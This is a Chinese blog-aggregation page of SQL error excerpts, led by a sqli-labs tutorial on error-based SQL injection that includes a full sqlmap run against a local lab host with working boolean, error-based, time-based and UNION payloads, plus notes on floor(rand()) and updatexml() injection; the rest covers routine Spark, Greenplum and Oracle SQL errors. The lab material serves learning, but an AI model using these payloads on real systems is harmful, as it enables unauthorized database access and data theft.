精华内容
下载资源
问答
  • cache数据库SQL报错代码含义整理cache数据库SQL报错代码含义整理cache数据库SQL报错代码含义整理
  • SQL报错注入小结

    万次阅读 2018-05-13 15:53:19
    sqli-labs的前4个实验(Lab1-Lab4)是基于SQL报错注入(Error-based injection)。什么是SQL报错注入?这是一种页面响应形式。响应过程如下:当用户在前台页面上输入检索内容时,后台将前台页面上输入的检索内容无加区别...

    sqli-labs的前4个实验(Lab1-Lab4)是基于SQL报错注入(Error-based injection)。

    1.什么是SQL报错注入?这是一种页面响应形式。响应过程如下:当用户在前台页面上输入检索内容时,后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行。数据库将执行结果返回给后台。后台将数据库执行结果无加区别的显示到前台页面上。上面这句话中,我用了2个"无加区别"----后台对于输入输出的合理性没有做检查。如果用户在页面输入处输入单引号',数据库在执行拼接后sql语句时,由于单引号不匹配,执行错误并输出错误信息。后台收到并直接将错误信息显示在页面上。
        上面的描述可能不够形象,让我用Lab1做演示。首先在浏览器为参数id输入数字1,此时浏览器得到的响应结果如图:

    接着用单引号'作为where子句的过滤条件,得到错误的响应:

    对比前后两次输入,数据库对于单引号输入的响应是提示sql语句存在语法错误。当用户输入'后,数据库的响应是这种形式,即系统存在报错注入。至于错误的成因,mysql注入天书的作者已经写的很明了,我就不再赘述。

    2.当我们探测到注入点后,就需要准备payload。然而,这里存在一个问题:Lab1-Lab4能接受输入的位置只有浏览器的URL,我们是不能直接往URL中输入payload,如union select这些语句,这会得到与预想不同的结果:


    摆在我们面前的问题是如何输入有效的payload?解决办法是使用URL编码工具,我再网上找了个UI工具,由它代为转码。读者可以使用在线编码工具。比如,上面这串payload经过编码后,在贴到浏览器中,可以正确获得MYSQL版本:


    3.比手动寻找注入点更高效的sqlmap注入工具。

    C:\Users\Eugene\Desktop\devtools\Penetrate Test\sqlmap>sqlmap.py -u "http://192.168.80.136/Less-1/?id=1"
            ___
           __H__
     ___ ___["]_____ ___ ___  {1.2.4.22#dev}
    |_ -| . ["]     | .'| . |
    |___|_  [)]_|_|_|__,|  _|
          |_|V          |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting at 15:51:13
    
    [15:51:15] [INFO] testing connection to the target URL
    [15:51:15] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
    [15:51:15] [INFO] testing if the target URL content is stable
    [15:51:16] [INFO] target URL content is stable
    [15:51:16] [INFO] testing if GET parameter 'id' is dynamic
    [15:51:16] [INFO] confirming that GET parameter 'id' is dynamic
    [15:51:16] [INFO] GET parameter 'id' is dynamic
    [15:51:16] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
    [15:51:16] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
    [15:51:16] [INFO] testing for SQL injection on GET parameter 'id'
    it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
    for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
    [15:51:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
    [15:51:27] [WARNING] reflective value(s) found and filtering out
    [15:51:27] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Your")
    [15:51:27] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
    [15:51:27] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
    [15:51:27] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
    [15:51:27] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
    [15:51:27] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
    [15:51:27] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
    [15:51:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
    [15:51:27] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
    [15:51:27] [INFO] testing 'MySQL inline queries'
    [15:51:27] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
    [15:51:27] [WARNING] time-based comparison requires larger statistical model, please wait....... (done)
    [15:51:27] [INFO] testing 'MySQL > 5.0.11 stacked queries'
    [15:51:27] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
    [15:51:27] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
    [15:51:27] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
    [15:51:27] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
    [15:51:27] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
    [15:51:37] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
    [15:51:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
    [15:51:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
    [15:51:37] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
    [15:51:37] [INFO] target URL appears to have 3 columns in query
    [15:51:37] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
    GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
    sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
    ---
    Parameter: id (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: id=1' AND 5514=5514 AND 'jZeb'='jZeb
    
        Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: id=1' AND (SELECT 9749 FROM(SELECT COUNT(*),CONCAT(0x7171627a71,(SELECT (ELT(9749=9749,1))),0x716b626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'FCQj'='FCQj
    
        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind
        Payload: id=1' AND SLEEP(5) AND 'apnf'='apnf
    
        Type: UNION query
        Title: Generic UNION query (NULL) - 3 columns
        Payload: id=-6456' UNION ALL SELECT NULL,NULL,CONCAT(0x7171627a71,0x6c66417a454856424d58574259454652786e437a675a4b4647436d726e734e63476d6b6b74556b73,0x716b626a71)-- GuAj
    ---
    [15:51:44] [INFO] the back-end DBMS is MySQL
    web server operating system: Linux Ubuntu
    web application technology: Apache 2.4.7, PHP 5.5.9
    back-end DBMS: MySQL >= 5.0
    [15:51:44] [INFO] fetched data logged to text files under 'C:\Users\Eugene\.sqlmap\output\192.168.80.136'
    
    [*] shutting down at 15:51:44

    展开全文
  • 关于SQL报错注入原理详细解析 之前读过多篇关于Mysql报错注入之floor(rand(0)*2)报错原理探究的文章,都觉得原理阐述大同小异,但在具体细节上,还是不太明白,结合看过的文章和自己的理解,对SQL报错注入原理进行更...

    关于SQL报错注入原理详细解析

    之前读过多篇关于Mysql报错注入之floor(rand(0)*2)报错原理探究的文章,都觉得原理阐述大同小异,但在具体细节上,还是不太明白,结合看过的文章和自己的理解,对SQL报错注入原理进行更细致的分析,身为一名网络安全小白,也是想和刚入门的同学一起研究sql注入原理,文章如果有错误的地方,希望大佬批评指正。有兴趣的同学可以查看此篇文章的链接,了解sql报错注入的一般原理:Mysql报错注入之floor(rand(0)*2)报错原理探究
    在报错原理分析中,主要困惑我的地方就是:
    对于下图表1:
    在这里插入图片描述
    执行正常的sql语句:select count(*), age as a from ..... group by a;后形成下表2:
    在这里插入图片描述
    执行过程可以解释为先执行 group by age 语句,顺序检测表1中age值,比如第一个age取值为18,则检测由
    select count(), age as a from … group by a
    形成的虚表中是否有18这个取值,如果有,则count值+1,如果没有,则将该条记录添加进虚表中。形成的虚表如图3所示:
    在这里插入图片描述
    而对于实际报错注入中,常用的语句
    select count(), floor(rand(0)2) as a from .... group by a
    语句实现过程讲解中,对于 floor(rand(0)2) 的取值,第一次执行时,若值为0,则继续检查虚表中是否有记录,若有0记录,则count值+1,若没有0记录,则准备插入该条记录,并再次计算 floor(rand(0)2),并插入第二次计算的值。
    ?????????
    这点讲解就有点让人迷惑,和上述以age为例子的执行过程讲解貌似不一样,正常逻辑应该是如果没有记录,则应该是将该条记录插入到虚表中,可实际执行过程并不是这样。
    通过我的思考,我认为执行过程可以这样理解,group by 语句执行次数是与虚表中有无相同记录决定的,有相同记录则执行1次,没有则执行2次。
    1.首先为了完善虚表,需要第一次执行group by …语句,并从原表中取出特定一条记录,如在第一个例子中,第一次执行group by age时,是取出age=18 这条记录,并准备将它放入虚表中。之后对比取出的记录age=18和虚表中的是否有相同记录,如果虚表中存在记录,则group by…仅此执行一次,通过比较发现两条记录一样(age=18),则令count+1.
    2.如果虚表中没有记录,需要在虚表中插入该记录,实际上就是隐含执行了一次insert操作,确定主键key(在表1对应的是age)的值,所以需要再次确定age值,并将该值放入虚表主键一栏中,并令count值+1.
    至此,根据上述解释,关于语句

    select count(), floor(rand(0)2) as a from .... group by a
    

    就可以解释的通了,就是第一次执行group by a 是取出记录,通过比较虚表中记录,若存在记录,则直接令相关记录count+1,若不存在记录,则进行一次insert操作,需要再次运行floor(rand(0)2)确定主键key 的值,并将该条记录放入虚表中。接下来报错的解释就很容易理解了。

    展开全文
  • Spark SQL报错及解决方式

    万次阅读 2018-08-29 17:18:25
    Spark SQL报错: (1)Use the CROSS JOIN syntax to allow cartesian products between these relations 解决方式:设置spark.sql.crossJoin.enabled=true 因为 ,2.x中默认不支持笛卡尔积操作,需要通过参数...

    Spark SQL报错:

    (1)Use the CROSS JOIN syntax to allow cartesian products between these relations

    解决方式:设置spark.sql.crossJoin.enabled=true

    因为 ,2.x中默认不支持笛卡尔积操作,需要通过参数spark.sql.crossJoin.enabled开启

    (2)ParseException: mismatched input 'from' expecting...

    解决方式:sql拼接语句可能格式有问题,比如from或者其他字段后面缺少空格、标点等等(可以在后台打印出拼接后的sql语句进行查看)

     

    展开全文
  • oracle执行sql报错03113

    2017-03-28 01:52:22
    ORACLE下执行下面的sql报错,错误code03113,求大神指点原因 select * from ( select * from ORG_GROUP2 where LOGICDELETE = '0' AND PROVINCEID = 'organization' AND USERGROUPCODE LIKE (select ...
  • 介绍 当使用Greenplum构架数仓时,经常需要一...如果ON_ERROR_STOP参数设置后,当SQL文件中的任何SQL报错后,就会停止执行接下来的SQL。 例如: cat sample_test.sql /set ON_ERROR_STOP on select * from t1; sele...

    介绍

    当使用Greenplum构架数仓时,经常需要一个SQL文件执行多个SQL,所以需要关注任何SQL的报错,这时ON_ERROR_STOP参数就可以使用。
    如果ON_ERROR_STOP参数设置后,当SQL文件中的任何SQL报错后,就会停止执行接下来的SQL。
    例如:

    cat sample_test.sql
    /set ON_ERROR_STOP on
    select * from t1;
    select * from t2;
    select * from t23;
    select * from t1;
    /unset ON_ERROR_STOP
    

    当你从SQL文件中执行SQL时,psql会返回下面的退出状态。

    • 0:如果SQL正常执行完成
    • 1:如果发生严重的错误(内存溢出,文件没发现)
    • 2:如果连接服务器失败
    • 3:当ON_ERROR_STOP参数设置后,SQL文件中的任何一个SQL报错后。

    psql提供-f选项执行SQL文件,当发生错误时,有两种方法停止执行,并退出执行。

    • 在命令行包含-v ON_ERROR_STOP=ON
    • 在SQL文件中设置ON_ERROR_STOP参数

    例子

    sample_sql.sql
    
    \set ON_ERROR_STOP on
    select * from t1;
    select * from t2;  -- This table is does not exists in the database so psql will stop execution at this point
    select * from t23;  
    select * from t1;
    \unset ON_ERROR_STOP
    

    如果不添加ON_ERRO_STOP参数,当报错后,也会继续执行。
    也可以在命令行设置ON_ERROR_STOP参数

    psql -d template1 -h <hostname> -v ON_ERROR_STOP=ON -f '/home/gpadmin/sample_test.sql'
    
    展开全文
  • SQL报错注入攻击中的updatexml()函数 sql报错注入是程序将错误信息输出到页面上,如果get获取参数拼接到SQL语句中,执行成功,正常输出;如果出错,PHP代码里会执行一个echo mysqli_error(con)的语句(这里只是举个...
  • sql 报错原因

    2019-11-27 09:20:23
    1、sql 不加倒引号报错 错误原因:当表内字段有关键字时,需要加倒引号 修改:将关键字修改,避免与关键字冲突 2、
  • springboot整合mybatis-plus,mapper.xml文件中自定义sql报错 springboot整合mybatis-plus,mapper.xml文件中自定义sql报错: 出现该错误,可能的原因是: 1.mapper.xml方法的名字和mapper.java的方法名不同,...
  • Navicat导入sql报错[Err] 1046 - No database selected ​ 今天系统重装了,就很完蛋。所有东西都重新下载安装。向Navicat导入sql的时候导入失败: 报错[Err] 1046 - No database selected。我很疑惑地又导了几次。...
  • Spring+mybatis+db2(aix环境) 查询sql报错,用主键查询或者是数据查询正常。。 用字符串查询报错。代码如下。 Caused by: org.apache.ibatis.exceptions.PersistenceException: ### Error querying database. ...
  • SQL报错问题汇总

    2020-04-02 19:03:04
    1.代码插入数据报错 insert into student(学号,姓名,出生日期,性别) values(‘0001’ , ‘张三’ , ...通常原因:由于主键设置不能重复,所以再次运行同样的sql语句就会发生报错,解决方案:重新刷新数据库即可...
  • Spark SQL报错解决

    2019-07-12 16:16:32
    1、报错如下: org.apache.spark.sql.AnalysisException: Detected implicit cartesian product for INNER join between logical plans 解决方式: spark-shell --master yarn --conf spark.sql.crossJoin.enabled=...
  • 报错注入:extractvalue、updatexml报错原理 MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml 名称 描述 ExtractValue() 使用XPath表示法从XML字符串中提取值 ...
  • DB2 sql报错后查证原因与解决问题的方法 1.对于执行中的报错,可以在db2命令行下运行命令 : db2=>? SQLxxx 查看对应的报错原因及解决方法。 2.错误SQL0206N SQLSTATE=42703 检测到一个未定义的列、...
  • Oracle SQL 报错:ORA-06550

    千次阅读 2019-11-13 11:36:07
    Oracle存储过程报错:ORA-065501 - 报错内容2 - 报错原因3 - 调整方式4...查询出错[SQL数据集[SQL_XY*****]游标方式执行时候出现错误:java.sql.SQLException: ORA-06550: 第 1 行, 第 7 列: PLS-00306: wrong number...
  • MySQL - 执行sql报错USING BTREE

    千次阅读 2018-12-07 00:15:42
    在执行sql文件时发现报错如下: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘USING BTREE.... 该错误导致有一个...
  • 在Spark-Shell下启用SQL报错:error: not found: value sqlContex解决方案:在Spark2.X.X后,想要在Spark-shell中运行这个命令,你需要使用spark.sqlContext.sql()的形式。
  • mycat 查询sql 报错

    2019-02-21 19:37:00
    [Err] 1184 - Invalid DataSource:0 转载于:https://www.cnblogs.com/newlangwen/p/10414837.html
  • 手工测试sql注入及原理1、SQL 整数型注入查数据库名查数据表查flag表字段2、字符型注入3、报错注入updatexml() 函数致MYSQL显错注入原理updatexml() 函数定义updatexml() 函数运行机制updatexml() 函数运行示例不...
  • MYSQL数据库导入SQL报错 [Err] 1273 - Unknown collation: 'utf8mb4_0900_ai_ci’ 目前用的数据库版本:MySQL 5.7 在导入sql时发现报错: [Err] 1273 - Unknown collation: 'utf8mb4_0900_ai_ci 原因是数据库排序...
  • Oracle SQL报错问题集锦

    千次阅读 2018-05-03 09:59:32
    -- 问题描述:Oracle-报错:文字与格式字符串不匹配(ORA-01861) -- 问题原因: 目前解决完后得出结论:该问题一般会出现在有关时间sql处理的问题上 -- 解决办法 : 进行类型转换 -- eg: TO_DATE('2015-02-02','YYYY-MM-...
  • hive sql 报错集锦

    千次阅读 2018-07-27 17:10:57
    1. FAILED: SemanticException Column dt Found in more than One Tables/Subqueries 错误原因:有一字段在多个表中出现,但是没有在字段前加表名前缀,导致出现错误 解决方案:在字段前加上后缀名。...
  • 在安装oracle的时候PL/SQL报错:“ORA-12154: TNS:无法解析指定的连接标识符”,在网上找了很多资料,然后问题解决。其中下面的文章分析的过程很值得学习,特地转载过来时刻告诫自己全局观的重要性!!! 下面是...
  • beetlsql使用dao自定义SQL语句时,有些情况下会报错“请指定Sql类型”,这时在dao方法上加上@SqlStatement注解即可。 例如: @SqlResource("kn.xxxx") @Repository public interface xxxxDao extends BaseMapper<...
  • 想直接导入别人的建表和插入数据操作 和 ORACLE 一样 使用 CTRL+ENTER 的快捷键操作 数据库报错,信息如下SQL 错误 [1064] [42000]: You have an error in your SQL syntax; check the manual that corresponds to ...
  • 1:首先附上报错sql 2:TP的报错信息 3:报错原因 desc为mysql中的关键字,不可随意使用 4:解决方法 (1):将关键字替换为其他 (2):将关键字使用“``”括起来(键盘上数字1前边tab上边的符号,注意是...
  • pymysql多线程访问数据库报错:Packet sequence number wrong - got 7 expected 2 原文:https://www.cnblogs.com/heiao10duan/p/9373237.html参考:https://www.jianshu.com/p/60c8e0e440ea原因: 使用...
  • 这个是作为计划任务的 报错:SQLState = 08001, NativeError = 17 Error = [Microsoft][ODBC SQL Server Driver][DBNETLIB]SQL Server 不存在或访问被拒绝 SQLState = 01000, NativeError = 53 Warning = [Microsoft...
  • 我用hue 执行hivesql 的时候系统报错, java.net.SocketTimeoutException:callTimeout=60000, callDuration=68043: row 'log,,00000000000000' on table 'hbase:meta' at region=hbase:meta,,1.1588230740, hostname...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 37,329
精华内容 14,931
关键字:

sql报错